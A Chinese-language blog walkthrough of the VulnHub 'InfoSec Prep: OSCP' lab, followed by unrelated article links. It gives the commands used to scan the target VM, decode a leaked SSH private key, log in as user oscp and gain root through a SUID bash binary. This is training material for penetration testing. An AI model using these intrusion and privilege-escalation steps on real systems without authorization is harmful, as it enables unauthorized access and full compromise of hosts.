• vulnhub InfoSec Prep: OSCP


    渗透思路:

    nmap扫描端口 ---- 网站默认页面提示系统用户名 ---- /secret.txt中发现base64加密的私钥 ---- 转换私钥格式 ---- bash suid提权

    环境信息:

    靶机:192.168.101.96

    攻击机:192.168.101.34

    具体步骤:

    1、nmap扫描端口

    sudo nmap -sV -sC -p- 192.168.101.96

    扫描到tcp 22、80、33060端口

    2、网站默认页面提示系统用户名

    浏览器访问http://192.168.101.96/发现提示:本靶机唯一用户名为oscp

    Oh yea! Almost forgot the only user on this box is “oscp”.

    3、/secret.txt中发现base64加密的私钥

    仔细观察nmap扫描结果,发现网站有robots.txt文件,其中包含/secret.txt

    浏览器访问http://192.168.101.96/secret.txt,发现一段base64编码的文本

    如果直接复制这段文本解码,解码后会有多余的换行。可以用以下两个方法进行解码,以得到没有多余换行的文本。

    方法1:利用tr和sed

    先将网页上的文本复制粘贴,保存为文件b64,然后执行如下命令,先将换行转换为空格,再去掉空格,最后再base64解码

    cat b64 | tr '\n' ' ' | sed 's/ //g' | base64 -d

    方法2:利用curl

    直接curl获取网页内容,然后base64解码

    curl http://192.168.101.96/secret.txt | base64 -d

    得到的结果和方法1一样的,就不截图了

    4、转换私钥格式

    将上一步中的结果保存为private

    修改private权限为0600

    chmod 0600 private

    尝试ssh登录

    ssh oscp@192.168.101.96 -i private

    结果登录失败,显示private的格式不正确

    Load key "private": invalid format

    百度了一下END OPENSSH PRIVATE KEY,发现转换格式的方法:ssh-keygen 生成的key以“BEGIN OPENSSH PRIVATE KEY”开头_盖世英雄呀的博客-CSDN博客

    命令行执行

    1. puttygen private -o tempkey.ppk
    2. puttygen tempkey.ppk -O private-openssh -o id_rsa

    此时id_rsa如下

    再次尝试ssh登录

    ssh oscp@192.168.101.96 -i id_rsa

    登录成功

    5、bash suid提权

    查看所有有suid权限的命令,发现bash有suid权限

    find / -user root -perm /4000 2>/dev/null

    输入如下命令提权到root,并在/root下发现flag.txt

    bash -p

  • 相关阅读:
    Thread的常用方法
    NET MVC中如何使用Element-Plus
    linux中执行.sh文件出现/bin/sh^M: bad interpreter: No such file or directory
    通过五个维度比较分析关键容灾技术
    【Java SE]位运算和移位运算注意事项
    面经综合总结
    switch调试
    基于Springboot外卖系统20:前端菜品展示+菜品数量查询
    自然常数与欧拉公式
    分页列表缓存,你真的会吗
  • 原文地址:https://blog.csdn.net/elephantxiang/article/details/126274562